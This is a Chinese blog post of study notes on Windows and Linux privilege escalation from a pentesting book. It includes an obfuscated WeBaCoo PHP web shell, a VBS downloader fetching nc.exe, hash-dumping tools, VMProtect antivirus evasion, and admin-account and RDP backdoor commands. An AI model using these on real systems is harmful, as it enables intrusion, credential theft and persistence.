前言
提权是一个令人着迷的环节。它表面看来已经高度自动化,但每一项提权技能背后对应的计算机基础知识都更为重要。修学储能,先博后渊。后期要深入,不要只停留于表面。
提权概述
准备工作
利用WebShell或低权限shell收集信息
@echo off
echo ### system info collection
systeminfo
ver
hostname
net user
net localgroup
net localgroup administrators
net user guest
net user administrator
echo ### at- with atq
schtasks /query
echo
echo ### task list
tasklist /svc
echo
echo ### network info
ipconfig /all
route print
arp -a
netstat -an
ipconfig /displaydns
echo
echo ### service
sc query type= service state= all
echo ### file
cd \
tree -F
漏洞补丁情况收集
systeminfo > C:\Windows\Temp\temp.txt & (for %i in (KB977165 KB970483 KB3057191 ...) do @type C:\Windows\Temp\temp.txt | @find /i "%i" || @echo %i Not installed!) & del /f /q /a C:\Windows\Temp\temp.txt
上述脚本不难理解,其实就是在系统信息中查找什么补丁没有安装。举例来说,从某Windows 10系统上执行systeminfo
后截取补丁信息如下:
修补程序: 安装了 5 个修补程序。
[01]: KB4058043
[02]: KB4074595
[03]: KB4087256
[04]: KB4090914
[05]: KB4088776
更多的提权漏洞信息,可以参考Github项目:
相关的漏洞与补丁对应关系的信息从网上也可以找到很多(而且是随时间更新的)。
关于Windows漏洞补丁信息,有博客可供参考:
提权
上传或下载程序
Linux可以通过wget
下载,Windows上可以通过脚本下载,如vbs
:
iLocal = LCase(WScript.Arguments(1))
iRemote = LCase(WScript.Arguments(0))
Set xPost = CreateObject("Microsoft.XMLHTTP") ' HTTP Object
xPost.Open "GET", iRemote, 0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream") ' ADO Object
sGet.Mode = 3 ' read & write mode
sGet.Type = 1 ' binary
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile iLocal, 2
cscript down.vbs http://example.com/nc.exe c:\nc.exe
当然,你可以借助echo
在命令行中完成以上操作。
另外,也可以使用bitsadmin
,但是我测试的XP上没有这个工具。也可以借助FTP
。
Windows账号密码获取与破解
这里就是用“Hash获取程序”获得Hash(如GetHashes,注意此时需要有System权限),再通过Hash破解程序破解(如LC5 (L0phtcrack)、Ophcrack)。SAMInside
是一个整合了各种功能的程序。
还有gsecdump
、PwDump
也可以尝试。
参考这篇文章,不少工具可能已经失效。
http://ophcrack.sourceforge.net/tables.php 提供一些彩虹表下载。Ophcrack
可以导入彩虹表破解。
John the Ripper
用来破解Linux密码。
http://wiki.skullsecurity.org/Passwords 提供一些字典。不过或许根据社工针对性地生成字典效果更好。
Linux Exploit Suggester
该脚本似乎最初来自:
https://github.com/InteliSecureLabs/Linux_Exploit_Suggester
但它似乎很久没有更新过了。有人基于此给出了:
https://github.com/mzet-/linux-exploit-suggester
上面这个脚本功能很强大。
列两张测试截图,更多选项可以参考README.md
:
可以看到,它还给出了Exp的下载地址,太方便了。将来可以读一下这个脚本的源码(我保存了一份在Linux Exploit Suggester)。
也有人开发出了能够搜索在线数据库的程序,但这个程序依赖于apt-get
。所以在OSX下需要用到Docker
:
https://github.com/1N3/Findsploit
Windows Exploit Suggester
It was heavily inspired by Linux_Exploit_Suggester by Pentura.
有人根据Linux脚本的启示开发了Windows平台的工具:
https://github.com/GDSSecurity/Windows-Exploit-Suggester
我保存了一份源码在Windows Exploit Suggester。它依赖于systeminfo
,所以它的原理估计和上面我们自己写出的命令行脚本差不多。
测试一下:
首先在Windows 10上执行
systeminfo > systeminfo.txt
然后把它导出。接着clone下来脚本,更新一下漏洞信息并安装xls解析库:
python2 ./windows-exploit-suggester.py --update
sudo pip install xlrd
然后就开动了:
python2 ./windows-exploit-suggester.py --database ./2018-05-08-mssb.xls --systeminfo ./systeminfo.txt
PHP WeBaCoo后门
WeBaCoo有Generation和Terminal两种模式。使用方法为:
使用Generation模式生成PHP后门 -> 上传到Web服务器相应目录 -> 使用Terminal模式连接后门
参考这篇Blog,测试一下功能:
生成:
./webacoo.pl -g -o wbc.php
生成的代码如下:
<?php $b=strrev("edoced_4"."6esab");eval($b(str_replace(" ","","a W Y o a X N z Z X Q o J F 9 D T 0 9 L S U V b J 2 N t J 1 0 p K X t v Y l 9 z d G F y d C g p O 3 N 5 c 3 R l b S h i Y X N l N j R f Z G V j b 2 R l K C R f Q 0 9 P S 0 l F W y d j b S d d K S 4 n I D I + J j E n K T t z Z X R j b 2 9 r a W U o J F 9 D T 0 9 L S U V b J 2 N u J 1 0 s J F 9 D T 0 9 L S U V b J 2 N w J 1 0 u Y m F z Z T Y 0 X 2 V u Y 2 9 k Z S h v Y l 9 n Z X R f Y 2 9 u d G V u d H M o K S k u J F 9 D T 0 9 L S U V b J 2 N w J 1 0 p O 2 9 i X 2 V u Z F 9 j b G V h b i g p O 3 0 = "))); ?>
上传(这里其实也可以在靶机中下载,怎么方便怎么来):
scp wbc.php msfadmin@172.16.56.130:/home/msfadmin/
注意,需要在靶机上用sudo
把后门放入Web根目录。这一步说明,在实际的渗透过程中,我们最开始需要先取得一些进展,才能够上传所谓的“大马”。
连接:
./webacoo.pl -t -u http://172.16.56.130/wbc.php
上面那篇文章还提到了另一个后门Weevely
,功能类似。据说Kali提供这两款后门程序。
对提权工具PR的免杀
参考这篇文章,理一下关系:
Exp事实上只有两个,即
Chimichurri: exploits MS09-012 on Windows Vista, Windows 7 and Windows 2008 Churraskito: exploits MS10-059 on Windows XP and Windows 2003 all versions
根据它们制作的工具则分别是:
Chimichurri&Churraskito
- Churrasco: Elevation of privileges PoC exploit for Token Kidnapping on Windows 2003
- Churrasco2: Elevation of privileges PoC exploit for Token Kidnapping on Windows 2008
- PR
似乎是在Defcon 18上发布的,Github仓库为:
Churrasco
: https://github.com/Re4son/Churrasco
Churraskito
: https://github.com/Re4son/Churraskito
Chimichurri
: https://github.com/Re4son/Chimichurri
VMP
从吾爱论坛下载VMProtect Ultimate 3.0.9
。
接着,我们在VirSCAN测试:
pr.exe
的查杀结果:
Scanner results:60%Scanner(s) (24/40)found malware!
加壳后查杀结果:
Scanner results:22%Scanner(s) (9/40)found malware!
在VirusTotal测试:
pr.exe
的查杀结果:
加壳后查杀结果:
再次尝试
对pr.exe
修改文件中字符串从而修改MD5,再使用
添加其自带的QQ数字签名,查杀结果如下:
可以发现没多大变化。
在此基础上,对其进行VMP加壳,查杀结果如下:
这说明,最基本的更改MD5和那个自动添加的数字签名没有起到多大效果,真正起作用的还是VMP壳。
特征码定位免杀
可以参考下“MyCCL特征码定位原理学习”这篇文章。
个人感觉免杀越来越难做。针对具体文件的免杀或许是能够做到的,但在“主动防御”面前似乎没多大用处。杀毒软件能够允许程序运行,但在敏感操作前把它拦截下来,还是达不到效果。
LCX
参考下“Lcx的多种用法:3个功能+9个参数,你会怎么玩?”这篇文章,作者很认真,读了他的文章我已经能够体会到他对渗透测试的热爱,我甚至能够感受到自己面对LCX构建多级跳板时的快乐。
不过LCX只能在Windows上运行(不知道Linux配合Wine可不可以),所以目前来看至少Attacker要有一台Win VM。
这篇文章描述了一个使用LCX实战的过程。
SocksCap
打开其官方主页首先发现:
本书作者的思路是把SocksCap搭建在肉鸡上,从而进入内网。
Windows提权基础命令
netstat
查看网络连接信息。
net start NAME
开启服务,省略NAME
时查看系统开启的所有服务,net stop NAME
停止某个服务。
tasklist
查看进程。
msinfo32
可以给出更为详细的信息。
添加管理员:
net user temp password /add
net Localgroup Administrators temp /add
加入远程桌面用户组:
net Localgroup "Remote Desktop Users" temp /add
查看管理员:
net Localgroup Administrators
查看用户:
net user temp
激活来宾用户并修改密码:
net user guest /active:yes
net user guest 1234
开启3389端口:
wmic /namespace:\root\cimv2\terminalservices path
win32_terminalservicesetting where (__CLASS != “”) call
setallowtsconnections 1
wmic /namespace:\root\cimv2\terminalservices path
win32_tsgeneralsetting where (TerminalName =’RDP-Tcp’) call
setuserauthenticationrequired 1
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
- 针对win XP及win2003只需要第3条命令
- 针对win 7需要第1,2条命令
- 针对win 2012需要3条命令
章末总结
一开始,我在网上的各种博客中能够发现有大段的文字与本书内容完全一样,也就能大致估计出本书的认真程度了。不过一码归一码,我还是从第一章中了解到了不少渗透的技巧。所谓“守正出奇”,所以千万不可鄙视各种技巧,或工具。我们要达到的高度,只是说,要在了解工具、技巧之后深入研究其原理,知其然并知其所以然,这是我们能够提升自我的部分,而不是对所谓“脚本小子”的东西鄙而不用,这恰恰显示自己的愚蠢。渗透,本身就是一个黑猫白猫的问题。